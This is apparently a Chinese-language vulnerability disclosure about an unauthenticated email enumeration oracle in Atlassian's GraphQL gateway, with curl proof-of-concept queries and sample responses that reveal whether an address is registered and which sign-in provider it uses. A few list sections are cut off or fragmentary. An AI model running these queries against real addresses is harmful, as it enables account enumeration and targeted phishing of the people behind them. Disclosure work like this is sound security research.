CVE-2026-XXXX: Atlassian GraphQL 电子邮件枚举 Oracle (CWE-204, CVSS 5.3 中危)
Atlassian Central GraphQL 网关(api.atlassian.com/graphql)
CWE-204:可观测响应差异 — 电子邮件枚举预言机
中危 — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Atlassian 中央 GraphQL 网关上的 loomUnauthenticated_primaryAuthTypeForEmail GraphQL 查询会根据电子邮件地址是否已在 Atlassian 注册返回不同的响应,从而允许未经身份验证的用户枚举。
已注册邮箱 → 返回 authType(例如 workos、password、google)和一个重定向 URI
未注册邮箱 → 返回 authType: "none",无重定向 URI
无需任何身份验证。查询名称中包含“Unauthenticated”——它本是公开接口,但不应泄露任意邮箱是否拥有 Atlassian 账户。
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
响应:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
响应:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" 确认该邮箱使用 WorkOS SSO。authType: "google" 或 authType: "password" 会泄露认证方式。这有助于进行针对性钓鱼。
未经验证的攻击者可以:
loomUnauthenticated_primaryAuthTypeForEmail 查询没有速率限制,并且对任意邮箱返回认证提供商信息,且无需身份验证。尽管该端点原本是未经验证的(用于 Loom 的注册流程),但它泄露了邮箱是否拥有账户以及使用了哪个认证提供商。
经过彻底测试,以下声称均被否定:
aaid: "unidentified")ValidationError 失败)unidentified)Wh4l3X